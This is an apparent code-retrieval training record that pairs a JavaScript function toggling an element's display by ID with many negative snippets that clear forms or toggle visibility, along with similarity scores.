$('.input-connection-id', $dialog).val(0);\n $('.input-engine', $dialog)[0].selectedIndex = 0;\n $('.input-port', $dialog).val(engines.mysql.port);\n $('.input-confirm-modifications', $dialog).prop('checked', true);\n $('.input-save-modifications', $dialog).prop('checked', false);\n $('.input-trusted-connection', $dialog).prop('checked', false);\n $('.input-instance-name', $dialog).val('');\n }", "function flush() {\n CodeSnippetForm.tracker.forEach(form => {\n form.dispose();\n });\n }", "function clearForm(){\n\n //Find all my form values and clear them!\n $(\".control\").val('');\n\n //Mark icons as not important\n UI.$btnImportant.removeClass(\"fas\");\n UI.$btnImportant.addClass('far');\n important = false;\n\n UI.$btnAlert.removeClass('fas');\n UI.$btnAlert.addClass(\"far\");\n alert = false;\n}", "clear() {\n\t\t\tthis.mutate('');\n\t\t}", "function clearField() {\n\tcalculationField.textContent = \"\";\n\tstoredEquation = [];\n}", "function clearOrderForm() {\n currentOrder = {};\n fillOrder({});\n fillOrderItemList({});\n $('#buttonDelete').hide();\n $('#buttonCreate').hide();\n $('#buttonSave').hide();\n}", "function clear() {\n\n }", "_clearInputs() {\n this.elements.peopleInput.value = \"\";\n this.elements.descriptionInput.value = \"\";\n this.elements.titleInput.value = \"\";\n return this;\n }", "function clearAll() {\n shouldAutoClear = false;\n expressionElm.empty();\n tokensElm.empty();\n treeElm.empty();\n resultElm.empty();\n }", "function clearSearchForm() {\n \"use strict\";\n setFormHairType(\"short\");\n setFormTraits(\"\");\n}", "@action\n clear() {\n this.deepAction('clear', this.fields);\n }", "function clearForm() {\n\n $(\"#formOrgList\").empty();\n $(\"#txtName\").val(\"\");\n $(\"#txtDescription\").val(\"\");\n $(\"#activeFlag\").prop('checked', false);\n $(\"#orgRoleList\").empty();\n }", "function clearFormsMC() {\n document.getElementById('mcname').value = \"\";\n document.getElementById('choice1').value = \"\";\n document.getElementById('choice2').value = \"\";\n document.getElementById('choice3').value = \"\";\n document.getElementById('choice4').value = \"\";\n document.getElementById('choice5').value = \"\";\n}", "forget() {\n if (this.mode === 'addSection') {\n delete cd.g.addSectionForm;\n } else {\n delete this.target[CommentForm.modeToProperty(this.mode) + 'Form'];\n }\n removeFromArrayIfPresent(cd.commentForms, this);\n saveSession();\n navPanel.updateCommentFormButton();\n }", "clear() {\n this.previewEl.empty();\n this.editor.setValue('');\n this.editor.clearHistory();\n this.recipe = new cooklang.Recipe();\n this.data = null;\n }", "function clearForm(){\n typeValue.value = \"\";\n amountValue.value = \"\";\n dateValue.value = \"\";\n selectValue.value = \"Choose\";\n}", "function clearCodeSelection() {\n\n}", "static clearInput() {\n inputs.forEach(input => {\n input.value = '';\n });\n }", "clear() {\n this.sendAction('clear');\n }", "function ClearFields()\n {\n $(':input').each(function () {\n\n if (this.type == 'text' || this.type == 'textarea' || this.type=='file'||this.type=='hidden') {\n this.value = '';\n }\n else if (this.type == 'radio' || this.type == 'checkbox') {\n this.checked = false;\n }\n else if (this.type == 'select-one' || this.type == 'select-multiple') {\n this.value = '-1';\n }\n });\n\n }", "function resetform(){\n\t$.each($(\"body\").find(\"form\"),function(i,v){\n\t\tthis.reset();\n\t});\n}", "function _clear() {\r\n vm.email = \"\";\r\n $scope.addEvaluatorForm.$setPristine();\r\n }", "clearForms() {\n\t\tlet self = this;\n self.event = {\n title: \"\",\n date: \"\",\n\t\t\tdescription: \"\",\n\t\t\tcategory: \"\",\n\t\t\tpayment: \"\",\n\t\t\townEquipment: \"\",\n\t\t\texperience: \"\",\n\t\t\tusersLimit: \"\"\n };\n }", "reset(){\n this._address.StreetAddress.value = \"\";\n this._address.City.value = \"\";\n this._address.State.value = \"\";\n this._address.Zip.value = \"\";\n\n this._user.Email.value = \"\";\n this._user.FirstName.value = \"\";\n this._user.LastName.value = \"\";\n this._primaryPhone.value = \"\";\n if(this._cellPhone) this._cellPhone.value = \"\";\n if(this._homePhone) this._homePhone.value = \"\";\n if(this._workPhone) this._workPhone.value = \"\";\n\n this._chosenContact = null;\n this._chosenContactID = -1;\n this._company.value = \"\";\n this._licenseNum.value = \"\";\n this._mcNum.value = \"\";\n this._resaleNum.value = \"\";\n\n if(document.getElementById(INVOICE_CHOSEN_CONTACT_ID)){\n document.getElementById(INVOICE_CHOSEN_CONTACT_ID).removeAttribute(\"id\");\n }\n\n this._updatePreviewField();\n }", "function resetForm() {\n\tpageCounter = 1;\n\tdisplayPage(pageCounter);\n\tclearFields();\n}", "function clearForm()\n {\n var form = document.getElementById('userForm');\n form.reset();\n }", "function clearCalacuator() {\n\n calaculator.displayNumber='0';\n calaculator.operator=null;\n calaculator.firstName=null;\n calaculator.waitingForSecondNumber=false;\n}", "function clearFields() {\n $('#input_form')[0].reset()\n }", "function clearForm() {\n fullName.value = \"\";\n message.value = \"\";\n hiddenId.value = \"\";\n}", "function clearFields() {\n document.getElementById('former').remove();\n}", "Clear() {\n\n }", "Clear() {\n\n }", "function clearForm(){\r\n\t$('#param-values').empty();\r\n}", "clear() {\r\n let cForm = document.getElementById(\"addBookForm\");\r\n cForm.reset();\r\n }", "function clearFields() {\n setName(\"\");\n setCpf_cnpj(\"\");\n setRg(\"\");\n setPhone(\"\");\n setEmail(\"\");\n setCheckedTypeAdmin(false);\n setCheckedTypeAttendance(false);\n }", "static clearFields(){\n document.getElementById('title').value = '';\n document.getElementById('author').value = '';\n document.getElementById('isbn').value = '';\n }", "function reset()\n\t{\n\t\tsetValue('')\n\t}", "function resetForm() {\r\n // Clear text in all text fields.\r\n $.each($(\"#addDeviceScreen\").children().filter(\".input\"), function () {\r\n console.log($(this));\r\n $(this).val('');\r\n });\r\n\r\n // Set default (top) value in all dropdown menus.\r\n $.each($(\".ddm-value-select\"), function (key, val) {\r\n $(val).children().first().click();\r\n });\r\n }", "reset() {\n this.options.input = this.defaults.input;\n this.options.output = this.defaults.output;\n this.options.getter = this.defaults.getter;\n this.options.setter = this.defaults.setter;\n }", "function clearInput() {\n \t// reset doesn't seem to reset hidden elements\n \tpageElements.input.reset();\n \tdocument.getElementById('id').value = \"\";\n }", "function clear() {\r\n\t\tcontext.clear();\r\n\t}", "function clearOutput() {\n var inputs = matrixC.getElementsByTagName(\"input\");\n for (var i = 0; i < inputs.length; ++i) {\n inputs[i].value = \"\";\n }\n }", "function clearForm(){\nnum.value=\"\";\nservice.value=\"\";\n}", "function ClearHelpForm(textarea) { textarea.value = ''; }", "function clear() {\n\n}", "clear () { }", "reset() {\n this.resetFields();\n this.resetStatus();\n }", "_clearForm() {\n // Clears input fields\n itemNameInput.value =\n itemDueDateInput.value =\n itemTimeDueInput.value =\n itemDescriptionInput.value =\n \"\";\n // Makes sure default pri always \"no priority\"\n itemPriorityInput.value = \"no_pri\";\n }", "function clearAll() {\n clearInputs();\n num1 = '';\n num2 = '';\n inputOperator = '';\n updateCalculatorDisplay();\n}", "function clear(){\n getNum.value = \"0\";\n storeInput = 0;\n operatorSymbol = \"\";\n}", "reset() {\n super.reset();\n this.element?.clear();\n }", "clearForm() {\n this.clearFormSubject.next(true);\n }", "function clearForm() {\n $scope.description = '';\n $scope.title = '';\n $scope.lat = '';\n $scope.lng = '';\n }", "function clearForm(){\n\t$('#Bio').val('');\n\t$('#Origin').val('');\n\t$('#Hobbies').val('');\n\t$('#DreamJob').val('');\t\n\t$('#CodeHistory').val('');\n\t$('#Occupation').val('');\n\t$('#CurrentMusic').val('');\n\n}", "function onClickClearAll() {\n strDisplay = \"\";\n opHidden = [];\n opHiddenIndex = 0;\n operandoType = 0;\n openParIndex = 0;\n closeParIndex = 0;\n refreshDisplay();\n}", "function limpiar_vent_gen(){\n contenGen.getForm().reset();\n ventGen.hide();\n}", "clearInputs() {\n this.codes.forEach((input) => {\n input.value = ''\n })\n }", "reset() {\n for (const declaration of this.getDeclarations()) {\n this.setOptionValueToDefault(declaration);\n }\n this._setOptions.clear();\n this._compilerOptions = {};\n this._fileNames = [];\n }", "clearFields(){\n this.description.value = \"\"\n this.amount.value = \"\"\n this.date.value = \"\"\n }", "function reset() {\n self.taskActionList([]);\n self.selectedTasklist([]);\n self.isTaskSelected(false);\n self.actionName('');\n self.actionComments('');\n self.showConfirmation('none');\n }", "function clear() {\n\t\tcontext.clear();\n\t}", "function clear() {\n\t\tcontext.clear();\n\t}", "function clearData() {\r\n backgroundStoredSignatureData.empty();\r\n signatureData.empty();\r\n\r\n signatureTypeBtns.forEach(el => {\r\n el.classList.add('is-outlined');\r\n el.classList.remove('is-selected');\r\n el.parentElement.classList.remove(\"trasform-sign-type\");\r\n el.parentElement.classList.add(\"start-trasform-sign-type\");\r\n });\r\n useVisibleSignatureSwitchCheckbox.checked = false;\r\n passfield.value = \"\";\r\n page_input.value = \"\";\r\n\r\n useVisibleSignatureSwitchContainer.classList.add('start-transform');\r\n useVisibleSignatureSwitchContainer.classList.remove('transform');\r\n\r\n closeBtn.classList.remove(\"hidden\");\r\n nextBtn.classList.remove(\"hide\");\r\n\r\n confirmBtn.classList.add(\"hide\");\r\n clearBtn.classList.add(\"hidden\");\r\n nextBtn.disabled = true;\r\n //go to first section\r\n sections.changeSection(sections.section.selectSignatureTypeSection);\r\n\r\n chrome.runtime.sendMessage({\r\n action: popupMessageType.resetState\r\n }, function (response) {\r\n appCurrentState = response.appstate;\r\n // console.log(\"<<< received:\")\r\n // console.log(response.ack);\r\n });\r\n\r\n // window.close();\r\n }", "function clearCalculator() {\n $('#operator').empty();\n $('#answer').empty();\n $('#x').empty();\n $('#y').empty();\n // document.getElementById('xAndY').reset(); //needed for base mode\n console.log('calculator cleared');\n}", "clear() {\n\t\treturn this.update( state => {\n\t\t\t\treturn { name: \"clear()\", nextState: {} };\n\t\t\t});\n\t}", "function _clearList() {\n gWizardSelection$.empty();\n } // _clearList", "function clearForm() {\n for (let i = 0; i < inputRefs.current.length; i++) {\n if (inputRefs.current[i].current === null) { break; }\n inputRefs.current[i].current.clearValue();\n }\n setData({});\n setAuthError(\"\");\n }" ]
[ "0.70731074", "0.6661615", "0.66292864", "0.6577466", "0.65467477", "0.6444308", "0.63680404", "0.6277216", "0.62749255", "0.62213147", "0.6207366", "0.6164152", "0.6159929", "0.61461306", "0.6132175", "0.6114396", "0.6110702", "0.609785", "0.607456", "0.607456", "0.60497034", "0.6029954", "0.6023983", "0.60216504", "0.601902", "0.6016684", "0.60090214", "0.6006618", "0.5997338", "0.59891176", "0.59803694", "0.5979052", "0.5975824", "0.5949938", "0.5949302", "0.59482867", "0.5941848", "0.5927032", "0.5926645", "0.5925083", "0.59099334", "0.5903311", "0.5900571", "0.5898901", "0.58978796", "0.586543", "0.5857735", "0.58535177", "0.58482444", "0.5847811", "0.58465147", "0.58432615", "0.58401847", "0.5837442", "0.5829164", "0.5821971", "0.58166516", "0.58165675", "0.58124524", "0.58029914", "0.5798179", "0.5790645", "0.57881576", "0.57842636", "0.57748646", "0.57748646", "0.5771756", "0.5770608", "0.57662046", "0.5765525", "0.5762725", "0.5762676", "0.5762014", "0.57575965", "0.57572323", "0.57569313", "0.575495", "0.5754681", "0.5753298", "0.5752122", "0.57497203", "0.5749024", "0.57468843", "0.5746709", "0.5744273", "0.5744234", "0.5743313", "0.5735499", "0.5735078", "0.57304716", "0.57299995", "0.57290334", "0.57269335", "0.572587", "0.5723021", "0.5723021", "0.5722044", "0.5720803", "0.5719986", "0.57141066", "0.5714082" ]
0.0
-1
This method toggles the display of the element with the specified ID. It is fairly primitive, because it presumes that when displayed, the element uses the default display style.
function TUToggle(elementID) { // Find the desired element. If it doesn't exist, we do nothing. var actualElement = document.getElementById(elementID); if (actualElement !== undefined) { if (actualElement.style.display == 'none') { actualElement.style.display = ''; } else { actualElement.style.display = 'none'; } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function toggleDisplay(id) {\n var elm = $(id);\n if(elm) {\n elm.style.display = (elm.style.display == \"none\" ? \"block\" : \"none\");\n }\n }", "function toggleDisplay(id)\n{\n var element = document.getElementById(id);\n if (element.style.display != 'none')\n element.style.display = 'none';\n else\n element.style.display = 'block';\n}", "function toggle(id) {\n if($(\"#\" + id).css(\"display\") == \"none\") {\n $(\"#\" + id).css(\"display\", \"block\");\n } else {\n $(\"#\" + id).css(\"display\", \"none\");\n }\n}", "function toggle_visibility(id) {\r\n var e = document.getElementById(id);\r\n if(window.getComputedStyle(e, null).getPropertyValue('display') == 'block')\r\n e.style.display = 'none';\r\n else\r\n e.style.display = 'block';\r\n}", "function toggle(id) {\n\t/* alert(\"..en toggle id=\" + id) */\n\tvar element = document.getElementById(id);\n\tif (element.style.display == 'block') {\n\t\t/* alert(\"..en element.style.display == block\") */\n\t\telement.style.display = 'none';\n\t} else {\n\t\t/* alert(\"..en element.style.display == else\") */\n\t\telement.style.display = 'block'\n\t}\n}", "function toggle(id)\n{\n\tif(document.getElementById(''+id).style.display=='block')\n\t{\n\t\tdocument.getElementById(''+id).style.display='none';\n\t} else {\n\t\tdocument.getElementById(''+id).style.display='block';\n\t}\n}", "function toggle_visibility(id) {\n var e = document.getElementById(id);\n if(e.style.display === 'block')\n e.style.display = 'none';\n else\n e.style.display = 'block';\n }", "function toggle(ID) {\n\tvar e = document.getElementById(ID);\n\tvar display = window.getComputedStyle(e).getPropertyValue('display');\n\tif(display === \"none\")\n\t\te.style.display = \"block\";\n\telse\n\t\te.style.display = \"none\";\n}", "function toggle_visibility(id) {\n var e = document.getElementById(id);\n if(e.style.display == 'block')\n e.style.display = 'none';\n else\n e.style.display = 'block';\n }", "function toggle_visibility(id) \n{\n var element = document.getElementById(id);\n\tif(element.style.display == 'block')\n\t\telement.style.display = 'none';\n else\n\t\telement.style.display = 'block';\n}", "function toggle_visibility(id) {\r\n if (document.getElementById(id).style.display == '')\r\n \tdocument.getElementById(id).style.display = 'none';\r\n else\r\n \tdocument.getElementById(id).style.display = '';\r\n\t}", "function toggle(elementId)\r\n{\r\n\tvar element = document.getElementById(elementId);\r\n\t\r\n\tif(element.style.display == 'none')\r\n\t{\r\n\t\telement.style.display = 'block';\r\n\t}\r\n\t\r\n\telse\r\n\t{\r\n\t\telement.style.display = 'none';\r\n\t}\r\n}", "function changeDisplay(id, display) {\n document.getElementById(id).style.display = display;\n}", "function toggle_visibility(id) {\n var e = document.getElementById(id);\n if (e.style.display != 'block' || e.style.display == null || e.style.display == undefined) {\n e.style.display = 'block';\n } else {\n e.style.display = 'none';\n }\n}", "function toggle_visibility(id) {\n var e = document.getElementById(id);\n if (e.style.display == 'block')\n e.style.display = 'none';\n else\n e.style.display = 'block';\n}", "function toggle_visibility(id) {\r\n\tvar e = document.getElementById(id);\r\n\tif (e.style.display == 'block')\r\n\t\te.style.display = 'none';\r\n\telse\r\n\t\te.style.display = 'block';\r\n}", "function toggle_visibility(id) {\n var e = document.getElementById(id);\n if (e.style.display == 'none')\n e.style.display = 'block';\n else\n e.style.display = 'none';\n}", "function visibility(display, id) {\r\n\t\tdocument.getElementById(id).style.display = display;\r\n\t}", "function toggleDisplayNone(id){ \n document.getElementById(id).style.display = 'none';\n}", "function toggleElement(id) {\n var el = document.getElementById(id);\n if (el.getAttribute('class') == 'hide') {\n el.setAttribute('class', 'show');\n } else {\n el.setAttribute('class', 'hide');\n }\n}", "function toggleDisplay(targetId)\r\n{\r\n if (document.getElementById) {\r\n target = document.getElementById(targetId);\r\n \tif (target.style.display == \"none\"){\r\n \t\ttarget.style.display = \"\";\r\n \t} else {\r\n \t\ttarget.style.display = \"none\";\r\n \t}\r\n }\r\n}", "function toggleElement(elementId) {\n if (isVisible(elementId)) {\n hide(elementId);\n } else {\n\t\tshow(elementId);\n }\n}", "function toggle(id) {\n    var ele = document.getElementById(id);\n ele.style.display == \"inline-block\" ? \n ele.style.display = \"none\" :\n    ele.style.display = \"inline-block\";\n}", "function toggleDisplay(divId) {\n var div = document.getElementById(divId);\n\n if (div) div.style.display = (div.style.display) ? \"\" : \"none\";\n}", "function showhide(id) {\n var e = document.getElementById(id);\n e.style.display = (e.style.display == 'block') ? 'none' : 'block';\n}", "function displayElement(id) {\n var element = document.getElementById(id);\n element.style.display = \"block\";\n}", "function setElementVisible(id, state) {\n\tif(!document.getElementById(id)) return;\n\tdocument.getElementById(id).style.display = (state ? \"\" : \"none\");\n}", "function toggle(id) {\n document.getElementById(id).classList.toggle(\"hidden\");\n}", "function show(id) {\r\n document.getElementById(id).style.display = 'block';\r\n}", "function showHidden(id) {\n if (document.getElementById(id).style.display == 'none') {\n document.getElementById(id).style.display = 'block';\n } else {\n document.getElementById(id).style.display = 'none';\n }\n}", "function toggleVis(elementID) {\n var eleState = document.getElementById(elementID).style.display;\n if (eleState == \"block\") {\n show(elementID);\n } else {\n hide(elementID);\n }\n}", "function toggleDisplayBulle(id){\n if(document.getElementById(\"infobulle\"+id).style.display==\"none\")\n document.getElementById(\"infobulle\"+id).style.display=\"\";\n else\n document.getElementById(\"infobulle\"+id).style.display=\"none\";\n}", "function toggleSelection(id) {\n if ($('div#' + id).css('display') == 'none') {\n $('div#' + id).show(200).css('display', 'inline-block');\n } else {\n $('div#' + id).hide(200);\n }\n}", "function toggleDisplay(element) {\n var style = getComputedStyle(element)\n if (style.display != \"none\") {\n element.style.display = \"none\"\n } else {\n element.style.display = \"block\"\n }\n}", "function showElement( id ) {\n var elem = document.getElementById( id );\n if ( elem ) {\n elem.style.visibility = \"visible\";\n }\n}", "function toggle(div_id) {\n\tvar el = document.getElementById(div_id);\n\tif ( el.style.display == 'none' ) {\tel.style.display = 'block';}\n\telse {el.style.display = 'none';}\n}", "function toggle_display(elem) {\n if (elem.css('display') === 'none') {\n elem.css('display', 'block');\n } else {\n elem.css('display', 'none');\n }\n}", "function changeVisibility(elementID){\n\tvar obj = ge(elementID);\n\tvar display = obj.style.display;\n\tif( display == 'none'){\n\t\tobj.style.display = 'block';\n\t}else{\n\t\tobj.style.display = 'none';\n\t}\n}", "function show(Id){\n document.getElementById(Id).style.display = \"block\";\n}", "function toggleDisplay(id) {\n // store preference so it persists\n localStorage.setItem('records-layout', id);\n\n // Get the button and ensure it's active\n var button = $('#' + id);\n button.toggleClass('ui-btn-active', true);\n\n // Remove active class from any other buttons\n $.each(button.siblings('a'), function (key, value) {\n $(value).toggleClass('ui-btn-active', false);\n });\n\n var isGrid = id === 'records-grid';\n $('#saved-records-page .ui-listview li').toggleClass('active', isGrid);\n $('.record-extra').toggle(isGrid);\n }", "function show_element(id){\n // Gettting id element\n var el = document.getElementById(id); //el variable defintion\n el.style.display = \"block\"; //set el's display attribute to block\n}", "function show(id){\n document.getElementById(id).style.display = 'block';\n}", "function showHide(elementId){\r\n document.querySelector(elementId).style.display = (document.querySelector(elementId).style.display === \"block\") ? \"none\": \"block\";\r\n}", "function toggle(id)\n{\n\tvar e = document.getElementById(id);\n\tvar a = document.getElementById('a-' + id);\n\n\tif (e && a)\n\t{\n\t\tif (e.style.display != 'none')\n\t\t{\n\t\t\ta.innerHTML = '[+]';\n\t\t\te.style.display = 'none';\n\t\t\te.style.height = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ta.innerHTML = '[-]';\n\t\t\te.style.display = '';\n\t\t\te.style.height = '';\n\t\t}\n\t}\n}", "function toggle(oid) {\n\tif (isAll || isID) {\n\t\tdomStyle = findDOM(oid,1);\n\t\t(domStyle.display=='block') ? domStyle.display='none' : domStyle.display='block';\n\t}\n\treturn;\n}", "function toggle_visibility(id) {\n \tvar e =document.getElementById(id);\n\t if(e.style.display == 'none')\n\t {\n\t e.style.display = 'block';\n\t }\n\t else\n\t {\n\t e.style.display = 'none';\t \n\t }\n \treturn true;\t\n\t}", "function toggleShow(id) {\n var displayCSS = document.getElementById(id).style.display;\n\n //Checks if the element is open or not.\n if (displayCSS == \"none\") {\n collapseActive(id);\n document.getElementById(id).style.display = \"block\";\n activeElement = id;\n } else if (id == \"selectProduct\" && displayCSS.length == 0) {\n collapseActive(id);\n document.getElementById(id).style.display = \"block\";\n activeElement = id;\n } else {\n document.getElementById(id).style.display = \"none\";\n }\n\n //removes search results if another action is called.\n if (search = true) {\n document.getElementById('searchResults').innerHTML = \"\";\n search = false;\n }\n\n\n}", "function show(id) {\n\tobj = document.getElementById(id);\n\tobj.style.display = \"block\";\n}", "function hideElement(id) {\n document.getElementById(id).style.display = \"none\";\n}", "function toggleDisplayWithDisplayType(idOfElement, displayType, animate){\n var element = document.getElementById(idOfElement);\n if(!element){\n return;\n }\n if(!displayType){\n displayType = \"block\";\n }\n if (!animate) {\n element.style.display = element.style.display == 'none' ? displayType : 'none';\n return;\n }\n\n if (element.style.display == 'none') {\n Animation.rollIn(element, function() {element.style.display = displayType;} );\n return;\n }\n Animation.rollOut(element);\n}", "function showElement( id ) {\n // console.log( \"\\t\\t\\tshow element with id=[%s]\", id );\n const el = document.getElementById( id );\n if( el ) {\n\tel.style.display = \"block\";\n } else {\n\tconsole.log( \"no element with id=[%s]\", id );\n }\n}", "function hide(id) {\r\n document.getElementById(id).style.display = \"none\";\r\n}", "static toggleDisplay(element, display) {\n element.style.display === 'none'\n ? (element.style.display = display)\n : (element.style.display = 'none');\n }", "function hide(id) {\r\n document.getElementById(id).style.display = 'none';\r\n}", "function showDiv(id) {\n\n\tvar element = document.getElementById(id);\n\n\telement.style.visibility = 'visible';\n}", "function ShowHideObject(id) {\n var obj = document.getElementById(id);\n\n if (obj.style.display == 'none')\n obj.style.display = 'inline';\n else\n obj.style.display = 'none';\n}", "function flip(id) {\r\n if (document.getElementById(id).style.display == 'none') {\r\n document.getElementById(id).style.display = 'block';\r\n } else if (document.getElementById(id).style.display == 'block') {\r\n document.getElementById(id).style.display = 'none';\r\n }\r\n}", "function toggle(tagid)\n{\n\tvar divtag = getTag(tagid);\n\t\n\tdivtag.style.display = (divtag.style.display == 'none') ? '' : 'none';\n\n}", "function show_element(id)\n{\n\n elt = document.getElementById(id);\n elt.style.display = \"inline\";\n//elt.style.visibility = \"visible\"\n \n}", "function hide_element(id){\n // Gettting id element\n var el = document.getElementById(id); //el variable defintion\n el.style.display = \"none\" ; //set el's display attribute to none\n}", "function div_show(id) {\n document.getElementById(id).style.display = \"block\";\n}", "function hide(id){\n document.getElementById(id).style.display = \"None\"; \n }", "function toggle_element_visibility(elemid){\n var elem=document.getElementById(elemid);\n var elemlink=document.getElementById(elemid+'-link');\n if(elem.style.display==\"none\"){\n elem.style.display=\"block\";\n elemlink.innerHTML=elemlink.innerHTML.replace(\"+\",\"-\");\n }else{\n elem.style.display=\"none\";\n elemlink.innerHTML=elemlink.innerHTML.replace(\"-\",\"+\");\n }\n return false;\n}", "function hide(id) {\n\t\tID(id).style.display = \"none\";\n\t}", "function displayEleById(domEle, displayStyle){\n if(document.getElementById(domEle))\n document.getElementById(domEle).style.display = displayStyle;\n}", "function hide(id){\n document.getElementById(id).style.display = 'none';\n}", "function showhide(id) { \r\n\tif (document.getElementById){ \r\n\t\tobj = document.getElementById(id); \r\n\t\tif (obj.style.display == \"none\"){ \r\n\t\t\tobj.style.display = \"\"; \t\r\n\t\t} else { \r\n\t\t\tobj.style.display = \"none\";\r\n\t\t} \r\n\t} \r\n}", "function toggleDiv(id) {\n var div = document.getElementById(id);\n if (div.getAttribute('class') == 'hide') {\n div.setAttribute('class', 'show');\n } else {\n div.setAttribute('class', 'hide');\n }\n}", "function show_or_hide(id) {\n \"use strict\";\n if (current) { //if something is displayed\n document.getElementById(current).style.display = \"none\";\n if (current === id) { //if <div> is already displayed\n current = 0;\n } else {\n document.getElementById(id).style.display = \"block\";\n current = id;\n }\n } else { //if nothing is displayed\n document.getElementById(id).style.display = \"block\";\n current = id;\n }\n}", "function toggleDisplay( obj ){\r\n\t\t\t\r\n\t\t\tif( obj.style.display == \"none\" ){\r\n\t\t\t\tobj.style.display = \"block\";\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tobj.style.display = \"none\";\r\n\t\t\t}\r\n\t\t}", "function hide(id){\n document.getElementById(id).style.display=\"none\";\n}", "function display(id) {\n var doc = $(\"#\"+id);\n if (doc != null) {\n doc.css(\"visibility\",\"hidden\");\n }\n}", "function showElement(myElementId){\n var x = document.getElementById(myElementId);\n x.style.display = \"block\";\n}", "function showDiv(id) {\n document.getElementById(id).style.display = 'contents';\n}", "function toggler(id) {\n var toBeToggled = togglers[id];\n if (!toBeToggled) return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++) {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof (toggles) == \"string\") {\n if (toggles.charAt(0) == '-') {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles) toggles = new Array(toggles);\n } else toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length) continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n \n switch (op) {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n break;\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function hide(Id){\n document.getElementById(Id).style.display = \"none\";\n}", "function showhide(id)\n{\n\t$(id).toggleClassName('active');\n\t$(id+'_content').toggle();\n}", "function toggler(id) {\n var toBeToggled = togglers[id];\n if (!toBeToggled) return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++) {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\") {\n if (toggles.charAt(0) == '-') {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles) toggles = new Array(toggles);\n }\n else toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length) continue;\n \n var op = toBeToggled[i][0]; // what the operation will be\n switch (op) {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggle(obj) {\n var el = window.document.getElementById(obj);\n alert(el + obj);\n if ( el.style.display != 'none' ) {\n\tel.style.display = 'none';\n } else {\n\tel.style.display = '';\n }\n}", "function show(id, value) {\n\tdocument.getElementById(id).style.display = value ? 'block' : 'none';\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n\n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n\n var op = toBeToggled[i][0]; // what the operation will be\n\n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n\n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || !toggles.length)\n continue;\n\n var op = toBeToggled[i][0]; // what the operation will be\n\n switch (op)\n {\n case \"_reset\":\n for (var j in toggles)\n toggles[j].style.display = toggles[j]._toggle_original_display;\n break;\n case \"_show\":\n for (var j in toggles)\n toggles[j].style.display = '';\n break;\n case \"_hide\":\n for (var j in toggles)\n toggles[j].style.display = 'none';\n break;\n case \"\":\n default:\n // Toggle\n for (var j in toggles)\n toggles[j].style.display = ((toggles[j].style.display == 'none') ? '' : 'none');\n break;\n }\n }\n}", "function toggleVis(obj) {\n var el = document.getElementById(obj);\n if ( el.style.display != 'none' ) {\n\tel.style.display = 'none';\n } else {\n\tel.style.display = 'block';\n }\n}", "function toggleAndShow(element) {\n toggle(element);\n makeVisible(element);\n}", "function toggleVisibility(passedElementId, togglevalue) {\n\n // access passed element\n var e = document.getElementById(passedElementId);\n\n // read visibility status\n //assign inverse visibility status\n if (togglevalue == 'on') {\n e.style.display = 'block';\n } else if (togglevalue == 'off') {\n e.style.display = 'none';\n } else {\n e.style.display = 'block';\n }\n\n}", "function toggler(id)\n{\n var toBeToggled = togglers[id];\n if (!toBeToggled)\n return;\n \n // if some element is in list more than once, it will be toggled multiple times\n for (var i = 0; i < toBeToggled.length; i++)\n {\n // get array of elements to operate on\n var toggles = toBeToggled[i][1];\n if (typeof(toggles) == \"string\")\n {\n if (toggles.charAt(0) == '-')\n {\n // treat as an element ID, not as class\n toggles = document.getElementById(toggles.substring(1));\n if (toggles)\n toggles = new Array(toggles);\n }\n else\n toggles = allClasses[toggles];\n }\n if (!toggles || 